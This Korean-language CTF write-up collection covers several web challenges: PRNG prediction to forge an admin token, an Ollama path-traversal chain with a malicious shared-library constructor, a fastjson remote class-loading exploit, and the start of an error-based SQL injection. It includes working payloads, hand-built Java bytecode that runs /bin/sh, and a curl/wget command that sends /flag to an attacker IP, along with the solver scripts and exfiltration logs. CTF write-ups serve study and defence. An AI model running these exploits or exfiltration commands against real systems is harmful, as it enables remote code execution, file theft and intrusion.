1. Web
Cadence
- 타겟: http://3.39.24.75:19415/
- 플래그: kisia{79HAdd3390B0xgWP3FFG4yQt9JRSwayI466a367f}
- 분류: PRNG 출력 예측을 통한 admin 복구 토큰 위조 → 관리자 세션 → 플래그
1. 핵심 취약점
프로세스 전역 PRNG(prng.Stream)는 서로 독립 시드된 Go math/rand v1 생성기 3개의 출력을 combined = (a.Int63()+b.Int63()+c.Int63()) mod 2^63 로 더한 스트림이다.
Go v1 LFG는 273/607 lag를 쓰므로, 모듈러 합이 각 성분의 재귀를 그대로 보존한다:
S[n] = (S[n-273] + S[n-607]) mod 2^63 (정확히 성립)
따라서 연속 607개의 출력만 확보하면 시드 복구 없이 이후 모든 출력을 굴려서 예측할 수 있다.
2. 출력 누출 경로
middleware/trace.go: challenge path(GET /api/feed, POST /api/admin/recovery)에서 2xx일 때
draws.Hex("trace")(원시 combined 1개)를 뽑아 응답 헤더 X-Trace-Id에 그대로
노출한다.
feed/feed.go의 draw 순서 (요청당):
- trace 1개 (미들웨어, = X-Trace-Id)
- 반환 post별 feed.impression. 1개씩, post.ID 오름차순으로 (응답의 impression_id)
- feed.cursor 1개 (next_cursor nonce) impression/cursor 값은 identifier.Encode(XOR 마스크 + 63비트 회전, 가역)로 감싸져 있어 Decode로 원시 출력을 복원할 수 있다:
- impression: raw = Decode(uint64(impression_id), Impression, ctx=post.ID)
- cursor: next_cursor base64url 디코드 → nonce:offset; raw = Decode(uint64(nonce), Cursor, ctx=요청offset) 즉 /api/feed?limit=L 응답 1개에서 L+2개의 연속 출력을 복원한다. 응답 items는 score순으로 재정렬되므로, draw 순서 복원 시 반드시 post_id 오름차순으로 다시 정렬해야 한다.
limit=32, PostCount=512(32로 나누어떨어짐)이라 윈도우가 512 경계를 넘지 않아 post.ID는 항상 연속 오름차순.
3. 복구 토큰(타겟)
admin.RequestRecovery(username “admin” 한정): hi=Int63(“admin.recovery.hi”), lo=Int63(“admin.recovery.lo”)를 뽑아 토큰 = Hex(hi, RecoveryHigh, 0) + Hex(lo, RecoveryLow, 0) (32 hex).
POST /api/admin/recovery는 challenge path이므로 draw 순서는 trace=S[k], hi=S[k+1], lo=S[k+2]. 즉 hi/lo는 그 응답의 X-Trace-Id 바로 다음 두 출력.
4. 익스플로잇
math/rand v1 재귀와 identifier 변환을 Python으로 재구현.
- /api/feed?limit=32를 next_cursor로 페이지네이션하며 22회 요청 → 748개 연속 출력 수집 (요청당 trace+impression*32+cursor = 34개). ~14 req/s로 페이스(전역 20 req/s 제한).
- 재귀 자기검증: S[n]==(S[n-273]+S[n-607]) mod 2^63을 n∈[607,748)에서 전부 확인 → 0 불일치.
- 마지막 feed 이후 다음 draw 인덱스 M=748. 재귀로 S748, S[749]=hi, S[750]=lo 예측.
- POST /api/admin/recovery {“username”:“admin”} → 응답 X-Trace-Id가 예측한 S[748]과 정확히 일치(포지션 정합성 확인).
- 토큰 = Encode(hi,RecoveryHigh,0) hex + Encode(lo,RecoveryLow,0) hex.
- POST /api/admin/recovery/verify {“username”:“admin”,“token”:…} → Set-Cookie: cadence_admin=.
- GET /api/admin/flag (해당 쿠키) → {“flag”:“kisia{…}”}. 실행 로그 요약:
predicted recovery trace S[748]=6461b807bee1450c hi=6298905847d6b40b
lo=36d045cf561511ac recovery X-Trace-Id = 6461b807bee1450c (== predicted) ←
정합성 OK token = 60d4ef89ec2c6f9f10c5d8954907ae35 verify -> {"ok":true} flag
-> {"flag":"kisia{79HAdd3390B0xgWP3FFG4yQt9JRSwayI466a367f}"}
익스플로잇 스크립트: scratchpad/cadence.py. 성공 응답 원본: scratchpad/cadence-flag.json.
5. 플래그 성공 캡처
최종: GET /api/admin/flag →
{"flag":"kisia{79HAdd3390B0xgWP3FFG4yQt9JRSwayI466a367f}"}
Latest Ollama
결과
| 항목 | 값 |
|---|---|
| 대상 | 최종 재발급 인스턴스 http://3.39.24.75:37766 |
| Ollama | 0.32.5 |
| 공격 표면 | 인증 없는 /api/pull , /api/push , /api/generate |
| 핵심 체인 | x/transfer 경로 탈출 → MLX dlopen() → SUID readflag |
| 플래그 | kisia{JFh3xIZNs6Bt49WNzJycuUtVvOjipZnG1cdf1dd5} |
1. 초기 분석
제공된 Dockerfile에서 다음 조건을 확인했다.
- 서비스 버전은 ollama/ollama:0.32.5 이다.
- Ollama는 ollama 사용자로 실행된다.
- /flag 는 flagreader:flagreader , 권한 0400 이다.
- /usr/local/bin/readflag 는 flagreader 소유의 setuid 바이너리다.
- 따라서 Ollama 권한의 단순 arbitrary read만으로는 /flag 를 읽을 수 없고, 최종적으로 /usr/local/bin/readflag /flag 를 실행해야 한다. 원격 열거 결과 /api/version 은 0.32.5, /api/tags 와 /api/ps 는 빈 목록을 반환했다. 로컬 모델이나 cloud credential은 없었지만 모델 pull/push/create API에는 인증이 없었다.
전체 체인은 다음과 같다.
악성 tensor manifest → x/transfer 경로 탈출 → .tmp 파일을 local manifest 또는 ELF로 사용
→ imagegen child의 MLX dlopen → ELF constructor가 SUID readflag 실행
→ flag.out 생성 → x/transfer push로 flag.out 회수
2. 취약점 1: x/transfer digest 경로 탈출
Ollama는 manifest에 application/vnd.ollama.image.tensor layer가 있으면 기존 blob 전송 코드 대신 x/transfer fast path를 사용한다.
문제는 registry가 제공한 layer digest를 올바른 SHA-256인지 검증하지 않는다는 점이다. digestToPath() 는 앞의 여섯 글자가 실제 sha256 인지도 확인하지 않고 일곱 번째 문자가 : 인지와 최소 길이만 본 뒤 그 문자를
- 로 바꾼다. 결과는 그대로 filepath.Join(blobDir, digestPath) 에 들어간다. 따라서 digest의 /../ 가 그대로 파일시스템 경로 탈출로 연결된다. 다운로드 과정은 먼저 공격자가 고른 경로에 dest + “.tmp” 를 생성하고 HTTP body를 쓴 다음에야 해시를 검사한다. layer 크기를 64 MiB 이상으로 선언하고 응답을 중간에 끊으면 resumable download 로직 때문에 .tmp 가 삭제되지 않는다.
예를 들어 다음 digest는 manifest 디렉터리까지 탈출한다.
sha256:x/../../manifests/<registry-host>/library/leak/entrypoint
실제 저장 경로는 다음과 같이 정규화된다.
/tmp/ollama/.ollama/models/blobs/ sha256-x/../../manifests/<registry-host>/library/leak/entrypoint.tmp => /tmp/ollama/.ollama/models/manifests/ <registry-host>/library/leak/entrypoint.tmp
Ollama model tag는 . 을 허용한다. 따라서 downloader가 강제로 붙인 .tmp 를 장애물이 아니라 entrypoint.tmp 라는 정상 tag로 사용할 수 있다. 공격 body를 올바른 manifest JSON으로 만들면, 실패한 pull 한 번으로 새 local model manifest가 생긴다.
이번 환경에서는 Cloudflare tunnel이 아주 짧은 잘린 origin 응답을 502로 바꾸었다. 이를 피하려고 JSON 뒤에 공백을 붙여 약 2 MiB까지 전송한 뒤, 선언한 64 MiB보다 일찍 연결을 종료했다. 공백은 JSON 문법상 허용되므로 planted manifest는 계속 유효하다. edge가 실행마다 일부를 1.5 또는 2 MiB 단위로 전달했고, 원격 Ollama가 이후 요청에서 예를 들어 Range: bytes=1572864- 를 보낸 것으로 .tmp 보존을 확인했다.
3. push 를 이용한 arbitrary file read
같은 검증 누락이 upload에도 있다. tensor layer를 push할 때 Ollama는 다음 형태의 경로를 그대로 os.Open() 한다.
filepath.Join(blobDir, digestToPath(layer.digest))
planted manifest에 아래 layer를 넣었다.
{ "mediaType": "application/vnd.ollama.image.tensor", "digest": "sha256:x/../../../../../../entrypoint.sh", "size": -1 }
size: -1 은 Go HTTP client에서 unknown Content-Length가 된다. HTTP/1.1이면 chunked body로, HTTP/2이면 stream 종료로 실제 길이가 결정되므로 읽을 파일의 크기를 미리 알 필요가 없다. 악성 registry가 upload URL을 돌려주면 Ollama가 그 URL로 파일 전체를 전송한다.
이 방법으로 /entrypoint.sh 를 회수했고, 숨겨진 실행 조건을 확인했다.
printf '%s\n' "$FLAG" > /flag
chmod 0400 /flag
chown flagreader:flagreader /flag
unset FLAG
cd "$HOME"
exec setpriv --reuid=ollama --regid=ollama --init-groups -- /bin/ollama "$@"
여기서 두 가지가 확정됐다.
- 플래그 환경변수는 제거되고 /flag 직접 읽기도 불가능하다.
- 서비스 및 그 child의 현재 디렉터리는 writable한 /tmp/ollama 다. 두 번째 조건이 MLX 개발용 라이브러리 경로를 공격할 수 있게 만든다.
4. 취약점 2: MLX 동적 라이브러리 로딩
Ollama 0.32.5의 MLX loader는 production 경로를 시도한 뒤 개발 빌드 경로인 /build/lib/ollama 도 검색한다. Unix에서는 libmlxc.* glob에 일치하는 파일을 순회하므로 libmlxc.so.tmp 도 후보가 된다.
더 중요한 점은 loader가 API symbol을 검사하기 전에 dlopen() 부터 호출한다는 것이다. ELF constructor는 dlopen() 안에서 즉시 실행되므로, 이후 symbol lookup이 실패하더라도 이미 명령 실행은 끝난 상태다.
다음 digest로 x86_64 ELF를 심었다.
sha256:x/../../../../build/lib/ollama/mlx_zzzz/libmlxc.so
결과 파일은 downloader suffix까지 포함해 다음 위치가 된다.
/tmp/ollama/build/lib/ollama/mlx_zzzz/libmlxc.so.tmp
constructor 소스는 단순하다.
#include<stdlib.h>
__attribute__((constructor)) static void capture_flag(void) {
system( "/usr/local/bin/readflag /flag > /tmp/ollama/flag.out " "2>/tmp/ollama/readflag.err" );
}
다음 명령으로 Ubuntu/glibc와 호환되는 Linux x86_64 shared object를 만들었다.
zig cc -target x86_64-linux-gnu.2.17 -shared -fPIC -O2 \ -Wl,-soname,libmlxc.so -o libmlxc.so libmlxc_pwn.c
공식 Docker image에는 /usr/lib/ollama/mlx_cuda_v13 도 있지만 0.32.5는 그 디렉터리를 child의 LD_LIBRARY_PATH 에 넣지 않고 필요한 의존성도 누락한다. 그래서 bundled libmlxc.so 가 먼저 실패하고 writable한 개발 경로까지 fallback한다. 이 packaging 문제를 보완하는 것이 공식 PR #17233 이다.
5. 새 imagegen child 실행
이미 실행 중인 server process는 라이브러리 초기화를 마친 상태이므로 새 child process를 만들어야 한다. 다음 최소 config blob을 정상 /api/blobs/sha256: API로 업로드했다.
{ "model_format": "safetensors", "capabilities": ["image"], "architecture": "amd64", "os": "linux", "rootfs": {"type": "layers", "diff_ids": []} }
그 후 경로 탈출로 아래 local manifest를 /library/pwn/trigger.tmp 에 심었다.
{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": { "mediaType": "application/vnd.ollama.image.config", "digest": "sha256:abe655eb2bf01241fe9526ae3a627e4d941bbbdb4f7e05eb95bedf888429d6ac", "size": 133 }, "layers": [] }
layers: [] 여도 safetensors format과 image capability만으로 scheduler는 동일 Ollama 바이너리를 다음 imagegen child로 실행한다.
ollama runner --imagegen-engine --model <model> --port <port>
트리거 요청은 다음과 같다.
POST /api/generate Content-Type: application/json { "model": "https://<registry-host>/library/pwn:trigger.tmp", "prompt": "x", "stream": false }
관측된 응답은 HTTP 500이었다.
{"error":"mlx runner failed: Error: imagegen runner only supports image generation models (exit: exit status 1)"}
이 오류는 예상한 결과다. child package initialization의 dlopen() 과 ELF constructor 실행은 실제 image model 검증보다 먼저 일어난다. 응답 시점에는 이미 /tmp/ollama/flag.out 이 생성돼 있었다.
6. 플래그 회수
마지막으로 3절의 arbitrary read 체인을 다시 사용했다.
sha256:x/../../../../../../tmp/ollama/flag.out
flagout.tmp local model을 /api/push 하자 HTTP 200과 다음 응답을 받았다.
{"status":"success"}
악성 registry가 받은 body는 정확히 48바이트였다.
kisia{JFh3xIZNs6Bt49WNzJycuUtVvOjipZnG1cdf1dd5}
7. 재현
동봉한 exploit/ 디렉터리에서 다음과 같이 실행한다.
cd exploit
python3 registry_server.py --port 28099
cloudflared tunnel --url http://127.0.0.1:28099 --no-autoupdate
python3 exploit_client.py \ --target http://TARGET_IP:PORT \ --registry https://RANDOM.trycloudflare.com
/api/pull 단계의 500 및 HTTP/2 stream error는 의도한 성공 조건이다. 마지막 /api/push 가 200을 반환하고 captures/flag.out-*.bin 이 생성되는지 확인하면 된다.
8. 완화 방안
- manifest를 사용하기 전에 모든 digest가 정확히 sha256:[0-9a-fA-F]{64} 인지 검증한다.
- 정규화한 최종 경로가 blob root 내부인지 filepath.Rel 등으로 다시 확인한다. 더 강하게는 directory fd와 containment를 사용한다. openat2()
- 전송 오류 시 resumable 여부와 관계없이 공격자가 정한 비정상 digest의 partial file을 삭제한다.
- production binary에서는 cwd 기반 개발용 라이브러리 검색을 제거하고, 정확한 파일명·root-owned 디렉터리만 허용한다.
- 외부에 노출되는 Ollama API에는 인증과 네트워크 접근 통제를 적용한다.
9. 참고
- Ollama issue #17178 — x/transfer path traversal
- Ollama PR #17214 — strict digest validation 제안
- Ollama v0.32.5 MLX dynamic loader
- Ollama v0.32.5 imagegen child 실행 코드
- Ollama PR #17233 — Docker MLX dependencies/path 보완
- v0.32.6에서 imagegen code를 제거한 commit
RelayHub
flag: kisia{7ltCtGWzoyUFJPOuOZrCfkcdJK5o9b9P0f2f6646}
1. 문제 개요
RelayHub 는 webhook 을 받아서 다른 주소로 중계하는 서비스다. 문제에서 받은 것은 relayhubhandout.zip 하나이고 안에는 Dockerfile , docker-compose.yml , entrypoint.sh , relayhub.jar 네 개가 들어 있다. 서버 주소는 http://3.39.24.75:37130 이다.
entrypoint.sh 를 보면 flag 가 어디 있는지 바로 나온다.
#!/bin/sh
set -e
echo "$FLAG" > /flag
chmod 444 /flag
unset FLAG
exec "$@"
flag 는 /flag 파일로 저장되고 환경변수는 지워진다. 그래서 환경변수를 읽는 방법으로는 얻을 수 없 고, 파일을 읽거나 서버에서 명령을 실행해야 한다.
HTTP 인터페이스는 다음과 같다. endpoint 를 만들면 slug 를 주고, 그 slug 로 webhook 을 보내면 본문 을 파싱해서 결과를 돌려준다.
| 메서드 | 경로 | 하는 일 |
|---|---|---|
| POST | /api/endpoints | endpoint 생성, slug 와 ownerToken 발급 |
| POST | /hook/{slug} | webhook 한 건을 동기로 처리 |
| POST | /hook/{slug}/batch | webhook 여러 건을 thread pool 에서 비동기로 처리 |
| GET | /api/events/{id} | 이벤트와 전달 기록 조회 |
| GET | /api/metrics | 런타임 정보 조회 |
2. 분석 환경과 초기 관찰
이 문제를 푼 환경에는 JDK 가 없었다. 그래서 relayhub.jar 를 실행하거나 decompiler 로 돌리지 못 했고, 클래스 파일의 constant pool(클래스 파일 안에서 문자열, 클래스 이름, 메서드 이름 같은 상수를 모 아 두는 영역)에 들어 있는 문자열을 직접 읽어서 코드 흐름을 확인했다. Docker 도 없어서 로컬에 서버 를 띄우지 못했고, 모든 확인은 문제 서버에 요청을 한 건씩 보내는 방식으로 했다.
jar 안의 라이브러리 목록에서 눈에 띈 것은 다음이다.
BOOT-INF/lib/fastjson-1.2.83.jar
BOOT-INF/lib/spring-boot-2.7.18.jar
BOOT-INF/lib/tomcat-embed-core-9.0.83.jar
BOOT-INF/lib/jackson-databind-2.13.5.jar
BOOT-INF/lib/snakeyaml-1.30.jar
/api/metrics 를 호출하면 실행 중인 런타임을 알려준다.
{"runtime":{"javaVersion":"1.8.0_422","javaVendor":"Temurin","uptimeMs":2299939}}
webhook 본문을 파싱하는 코드는 com.relayhub.service.WebhookParser 다. 클래스 파일 문자열에 서 확인한 호출은 두 개뿐이다.
ParserConfig.getGlobalInstance()
.setDefaultClassLoader(WebhookParser.class.getClassLoader());
Object parsed = JSON.parse(rawPayload);
setAutoTypeSupport 를 호출하는 흔적은 constant pool 에 없다. autoType(fastjson 이 JSON 안의 @type 값을 보고 그 이름의 클래스를 만들어 주는 기능)은 꺼져 있다는 뜻이고, 실제 요청으로도 확인된 다.
POST /hook/{slug} {"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"}
→ {"success":false,"error":"autoType is not support. org.apache.tomcat.dbcp.dbcp2.BasicDataSource"}
여기서 중요한 것은 파싱 실패 메시지가 응답에 그대로 나온다는 점이다. 클래스 하나를 던질 때마다 그 클래스를 fastjson 이 받아들이는지 아닌지를 요청 한 번으로 알 수 있다. 이후 모든 판단은 이 메시지를 기준으로 했다.
setDefaultClassLoader 호출은 이 문제에서 계속 걸렸다. Spring Boot 의 실행형 jar 는 라이브러리를 BOOT-INF/lib/ 안에 넣어 두고 전용 class loader 로 읽는다. 이 class loader 를 fastjson 전역 설정에 넣어 준다는 것은, fastjson 이 jar 안쪽 클래스에 접근할 수 있게 만들겠다는 뜻이다. autoType 이 꺼져 있 는데 왜 이런 설정을 넣었는지가 풀이의 실마리가 됐다.
3. 핵심 취약점 또는 원리
fastjson 1.2.68 부터 1.2.83 까지에 CVE-2026-16723 이 있다. autoType 이 꺼져 있어도, 그리고 classpath 에 gadget(공격에 쓸 만한 동작을 가진, 이미 설치되어 있는 클래스)이 하나도 없어도 원격 코드 실행이 된다.
원인은 ParserConfig.checkAutoType 이 @type 값을 검사하는 방식이다. fastjson 은 해당 클래스에 @JSONType annotation 이 붙어 있는지 확인하려고, 클래스 파일을 resource 로 한 번 읽어 본다.
getResourceAsStream(typeName.replace('.', '/') + ".class")
typeName 은 요청 본문에서 온 값이 그대로 들어간다. 이 문자열이 resource 이름으로 쓰이므로, 여기에 jar:http://… 같은 절대 URL 을 넣으면 class loader 가 그 주소로 실제 HTTP 요청을 보낸다.
WebhookParser 가 설정한 default class loader 가 바로 이 조회에 쓰인다.
이 조회가 실제로 밖으로 나가는지를 먼저 확인했다. RFC5737 의 TEST-NET 대역인 192.0.2.1 은 문서 용으로 예약되어 응답할 호스트가 없는 주소다. 여기로 조회가 나가면 연결이 될 때까지 기다리다가 타임 아웃이 난다.
| 보낸 @type | 결과 |
|---|---|
| jar:http://3221225985:80/p!/A (192.0.2.1) | 40,008ms 동안 응답 없음 |
| http://3221225985:80/p | 40,009ms 동안 응답 없음 |
| jar:http://2130706433:9/p!/A (127.0.0.1 닫힌 포트) | 105ms, autoType is not support |
닫힌 포트는 즉시 거부되어 바로 에러가 돌아오고, 응답하지 않는 주소는 40초를 기다린다. 조회가 네트 워크로 나간다는 증거다.
문법에서 한 가지 주의할 점이 있다. typeName.replace(‘.’, ‘/’) 때문에 우리가 넣은 점은 전부 슬 래시로 바뀐다. 이것을 반대로 이용해서 점을 슬래시 대신 쓰고, 호스트에는 점이 들어가지 않도록 IPv4 주소를 32비트 정수로 적는다. 34.135.203.139 는 579324811 이다.
보내는 @type: jar:http:..579324811:8000.p3!.POC
서버가 조회: jar://579324811:8000/p3!/POC.class
그래서 공격자 쪽에서는 http://34.135.203.139:8000/p3 로 jar 파일 하나를 서빙하고, 그 안에 POC.class 를 넣어 두면 된다.
4. 가설과 시행착오
fastjson 이 보이자마자 autoType 우회를 먼저 시도했다. 전부 실패했고, 실패 근거는 모두 응답 메시지로 남았다. 기록은 logs/probes.md 에 있다.
| 시도 | 보낸 것 | 결과 |
|---|---|---|
| 1.2.68 계열 AutoCloseabl e 우회 | {“@type”:“java.lang.AutoCloseabl e”,“@type”:“org.apache.tomcat.dbcp. dbcp2.BasicDataSource”} | autoType is not support |
| 같은 우회를 denylist 밖 클래스로 | {“@type”:“java.lang.AutoCloseabl e”,“@type”:“java.io.FileInputStrea m”} | 마찬가지로 실패. denylist 문제가 아니라 우회 자체가 막혀 있다 |
| CVE-2022-2 5845 계열 | {“@type”:“java.lang.Exception”,“@t ype”:“com.fasterxml.jackson.databin d.node.POJONode”} | autoType is not support |
| 클래스 캐시 우회 | {“a”:{“@type”:“java.lang.Class”,“v al”:“…BasicDataSource”},“b”:{“@ty pe”:“…BasicDataSource”}} | 실패. 1.2.83 은 이 경로에서 클래스를 캐시하지 않는다 |
| ref 로 g etter 호출 | {"a":{"@type":"java.io.File","va l":"/flag"},"b":{"ref”:“$.a.nam e”}} | b 가 null | |
| destination Url 로 파일 읽기 | endpoint 의 목적지를 file:///flag 로 설정 | dispatch error: sun.net.www.proto col.file.FileURLConnection cannot be cast to java.net.HttpURLConnec tion |
마지막 것은 서비스가 목적지 연결을 HttpURLConnection 으로 캐스팅하기 때문에 file 스킴에서는 반 드시 실패한다. 성공하더라도 응답 본문을 읽지 않으므로 파일 내용은 나오지 않는다.
gadget 이 있는지도 확인했다. fastjson 은 클래스 이름을 FNV-1a 64비트 해시로 만들어 denylist 와 비교 하므로, fastjson-1.2.83.jar 안 ParserConfig.class 의 constant pool 에서 long 상수 186개를 꺼내고, 실행형 jar 안 클래스 10,676개의 이름 prefix 해시와 맞춰 봤다. 사용한 스크립트는 artifacts/hashscan.py 다.
| 패키지 | 개수 |
|---|---|
| org.springframework. | 6494개 |
| org.apache.tomcat | 686개 |
| org.apache.catalina. | 670개 |
| ch.qos.logback. | 508개 |
| org.apache.logging. | 181개 |
| org.slf4j. | 38개 |
| org.apache.commons.logging. | 17개 |
전부 denylist 쪽이었고, 실제 요청 결과와도 맞았다. denylist 에 걸리지 않는 패키지는 jackson, snakeyaml, fastjson 자신 정도인데 이들은 allowlist 에도 없어서 autoType 이 꺼진 상태로는 로드되지 않 는다. 즉 이 문제에는 쓸 수 있는 gadget 이 애초에 없고, gadget 을 찾는 방향은 막다른 길이었다.
여기서 방향을 바꿔 fastjson 1.2.83 자체의 알려진 문제를 확인했고 CVE-2026-16723 에 도달했다.
5. Exploit/Solver 설계
필요한 것은 두 가지다. 하나는 @JSONType 이 붙어 있고 실행할 코드를 가진 클래스를 담은 jar, 다른 하 나는 그 jar 을 서빙하면서 빠져나온 flag 를 받을 서버다.
JDK 가 없어서 javac 를 쓸 수 없었기 때문에 클래스 파일을 바이트 단위로 직접 만들었다. artifacts/gen_poc.py 다. constant pool 을 순서대로 쌓고, 메서드 하나와 클래스 annotation 하나를 붙인다.
클래스 이름을 정할 때 제약이 하나 있다. class loader 는 받아온 바이트에 적힌 클래스 이름과 자기가 찾 던 이름이 같은지 확인한다. 우리가 요청하는 이름이 jar:http:..579324811:8000.p3!.POC 이고 슬 래시로 바뀐 형태와 비교되므로, 클래스 파일 안에 적히는 이름도 그 형태여야 한다.
internal = 'jar:http://%s:%s/%s!/POC' % (int_ip, port, name)
실행할 코드는 다음 바이트코드로 만들었다. Runtime.getRuntime() 을 부르고 문자열 배열 세 개를 만들어 exec 에 넘긴다.
code = bytes([
0xb8, *struct.pack('>H', get_runtime), # invokestatic getRuntime
0x06, # iconst_3
0xbd, *struct.pack('>H', string_cls), # anewarray String
0x59, 0x03, 0x12, s_sh, 0x53, # dup iconst_0 ldc "/bin/sh" aastore
0x59, 0x04, 0x12, s_c, 0x53, # dup iconst_1 ldc "-c" aastore
0x59, 0x05, 0x12, s_cmd, 0x53, # dup iconst_2 ldc cmd aastore
0xb6, *struct.pack('>H', exec_ref), # invokevirtual exec
0x57, # pop
0xb1, # return
])
클래스 annotation 은 RuntimeVisibleAnnotations 속성으로 붙인다. 이것이 있어야 fastjson 이 @JSONType 을 확인한 뒤 클래스 로드까지 진행한다.
anno_type = p.utf8('Lcom/alibaba/fastjson/annotation/JSONType;')
anno_body = struct.pack('>HHH', 1, anno_type, 0)
클래스 파일 버전은 49(Java 5)로 맞췄다. 50 이상이면 StackMapTable 속성을 요구하는 검증 규칙이 적 용되는데, 49 는 그 규칙을 쓰지 않으므로 속성을 만들지 않아도 된다.
실행할 명령은 /flag 를 읽어서 우리 서버로 GET 요청의 query 에 붙여 보내는 것이다. curl 이 없을 경우를 대비해 wget 을 뒤에 붙였다.
f=$(cat /flag);curl -sg "http://34.135.203.139:8000/x?d=$f"||wget -qO- "http://34.135.
203.139:8000/x?d=$f"
여기서 두 번 막혔고, 둘 다 응답 메시지로 원인이 드러났다.
첫 번째는 클래스에 생성자를 만들지 않았을 때다.
{"success":false,"error":"default constructor not found. class jar:http:..579324811:80
00.p!.POC"}
이 메시지는 원격에서 받아온 클래스가 이미 정의되었다는 뜻이다. fastjson 이 그 타입의 객체를 만들려 다가 인자 없는 생성자를 찾지 못한 것뿐이다. 생성자를 넣자 {“success”:true,“payload”:{}} 로 바 뀌었다.
두 번째는 실행 코드를 (클래스가 처음 쓰일 때 한 번 실행되는 초기화 메서드)에 넣었을 때다. 첫 요청에서는 flag 가 나왔지만 같은 payload 를 다시 보내면 아무 일도 일어나지 않았다. JVM 은 클래 스 초기화를 클래스당 한 번만 실행하기 때문이다. 실행 코드를 생성자로 옮기면 fastjson 이 요청마다 객 체를 새로 만들므로 매번 실행된다. 이때 jar 이름도 p2 에서 p3 로 바꿨다. 이름이 같으면 이미 로드해 둔 클래스가 그대로 재사용되어 새 바이트가 반영되지 않는다.
최종 solver 는 artifacts/solve.py 다. endpoint 생성부터 flag 회수까지 한 번에 한다.
def main():
baseline = hits_total()
body = json.dumps({"sources": ["github"]}).encode()
slug = json.loads(http(TARGET + "/api/endpoints", body,
{"Content-Type": "application/json"}))["slug"]
type_name = "jar:http:..%s:8000.%s!.POC" % (EXPLOIT_IP_INT, JAR_NAME)
payload = json.dumps({"@type": type_name, "x": 1}).encode()
http("%s/hook/%s" % (TARGET, slug), payload, {"Content-Type": "application/json"})
for _ in range(20):
time.sleep(1)
data = json.loads(http("%s/hits?token=%s&since=%d"
% (EXPLOIT_BASE, EXPLOIT_TOKEN, baseline)))
for hit in data["hits"]:
for value in hit.get("flag_matches") or []:
if FLAG_RE.fullmatch(value):
print(value)
return 0
EXPLOIT_TOKEN 은 수신 서버의 로그 조회용 토큰이라 이 문서에서는 값을 지웠다.
6. 재현 절차
- jar 을 만든다. 첫 번째 인자는 수신 서버 IP 를 32비트 정수로 적은 값이고, 마지막 인자는 서빙할 경로 이름이다.
python3 artifacts/gen_poc.py 579324811 8000 \
'f=$(cat /flag);curl -sg "http://34.135.203.139:8000/x?d=$f"||wget -qO- "http://
34.135.203.139:8000/x?d=$f"' \
artifacts/p3.jar p3
출력은 다음과 같다.
internal class name : jar:http://579324811:8000/p3!/POC
jar : artifacts/p3.jar (570 bytes)
@type : jar:http:..579324811:8000.p3!.POC
- 만들어진 jar 을 수신 서버가 http://34.135.203.139:8000/p3 로 서빙하도록 둔다.
- 문제 서버에 endpoint 를 만들고 payload 를 보낸다.
curl -s -X POST http://3.39.24.75:37130/api/endpoints \
-H 'Content-Type: application/json' -d '{"sources":["github"]}'
curl -s -X POST http://3.39.24.75:37130/hook/<slug> \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..579324811:8000.p3!.POC","x":1}'
- 수신 서버 로그에서 flag 를 확인한다. 위 과정을 한 번에 하는 것이 python3 artifacts/solve.py 다.
7. Flag 획득 및 검증
payload 를 보낸 응답은 다음과 같았다. 파싱이 성공했고 객체가 만들어졌다는 뜻이다.
{"success":true,"eventType":"unknown","payload":{},"eventId":45,"status":"received"}
수신 서버 로그에 남은 기록은 logs/exfil-hits.json 에 그대로 보존했다. 앞의 /p2 세 건은 문제 서버가 jar 을 받아 간 요청이고, 마지막 /x 한 건이 flag 다.
2026-08-09T07:22:40.368520+00:00 GET /p2 {}
2026-08-09T07:22:41.090846+00:00 GET /p2 {}
2026-08-09T07:22:41.442205+00:00 GET /p2 {}
2026-08-09T07:22:42.026705+00:00 GET /x {"d": ["kisia{7ltCtGWzoyUFJPOuOZrCfkcdJK5o9
b9P0f2f6646}"]}
시각은 UTC 이고 한국 시간으로는 2026-08-09 16:22:42 이다.
kisia{7ltCtGWzoyUFJPOuOZrCfkcdJK5o9b9P0f2f6646}
flag 는 문제 서버가 직접 보낸 요청에서 받은 값이다. 같은 절차를 다시 실행하면 python3 artifacts/solve.py 한 번으로 재현된다.
8. 결론과 재사용 가능한 교훈
이 문제에서 @type 을 막는 설정은 정상적으로 켜져 있었고 denylist 도 동작했다. 그런데도 코드가 실 행된 이유는, fastjson 이 이름을 검사하는 도중에 그 이름을 resource 경로로 써서 한 번 읽어 보기 때문 이다. 검사 자체가 외부 입력을 가지고 네트워크 요청을 만든다. 그래서 검사 결과가 거부이든 아니든 상 관없이, 검사 과정에서 이미 원격 클래스를 받아 오게 된다.
정리하면 다음 세 가지가 다음에도 쓸 수 있는 부분이다.
첫째, 라이브러리 설정에서 기능과 무관해 보이는 호출이 있으면 그것이 무엇을 가능하게 하는지 따로 확 인한다. 이 문제에서는 setDefaultClassLoader 하나가 실행형 jar 안쪽 클래스와 원격 resource 조회 를 모두 열어 주는 열쇠였다.
둘째, 판정이 응답으로 노출되면 그것을 그대로 판정 도구로 쓴다. 클래스 하나를 던지고 돌아오는 메시 지가 autoType is not support 인지 default constructor not found 인지에 따라 어디까지 진 행됐는지 알 수 있고, 이 문제에서는 후자가 원격 클래스 정의가 성공했다는 신호였다.
셋째, 어떤 동작이 실제로 일어났는지 확인할 때는 응답 없는 주소를 써서 시간 차이로 판정한다. 예약된 TEST-NET 주소로 40초를 기다린 것이 조회가 네트워크로 나간다는 첫 증거였다.
Sentinel
1. 문제 개요
대상: Sentinel Shop (상품 검색/조회 기능이 있는 웹 서비스)
엔드포인트
| 메서드 | 경로 | 하는 일 |
|---|---|---|
| POST | /api/endpoints | endpoint 생성, slug 와 ownerToken 발급 |
| POST | /hook/{slug} | webhook 한 건을 동기로 처리 |
| POST | /hook/{slug}/batch | webhook 여러 건을 thread pool 에서 비동기로 처리 |
| GET | /api/events/{id} | 이벤트와 전달 기록 조회 |
| GET | /api/metrics | 런타임 정보 조회 |
핵심: 검색 파라미터 q에 에러 기반 SQL Injection(MySQL) 이 존재하지만, “Sentinel”이라는 키워드 기반 WAF가 앞단에서 요청을 필터링/차단한다.
2. 취약점 분석 — Error-based SQLi
q에 작은따옴표를 섞으면 MySQL 문법 에러가 그대로 응답에 노출된다.
curl -sG http://<HOST>/search --data-urlencode "q=' OR '1'='1"
응답:
{"errmsg":"You have an error in your SQL
syntax; ... near '1''1%'' at line
1","errno":1064}
에러 위치(…‘1’‘1%’)로 보아 서버 쿼리는 다음 형태로 추정된다.
SELECT id, name, price FROM products WHERE name LIKE '%<q>%'
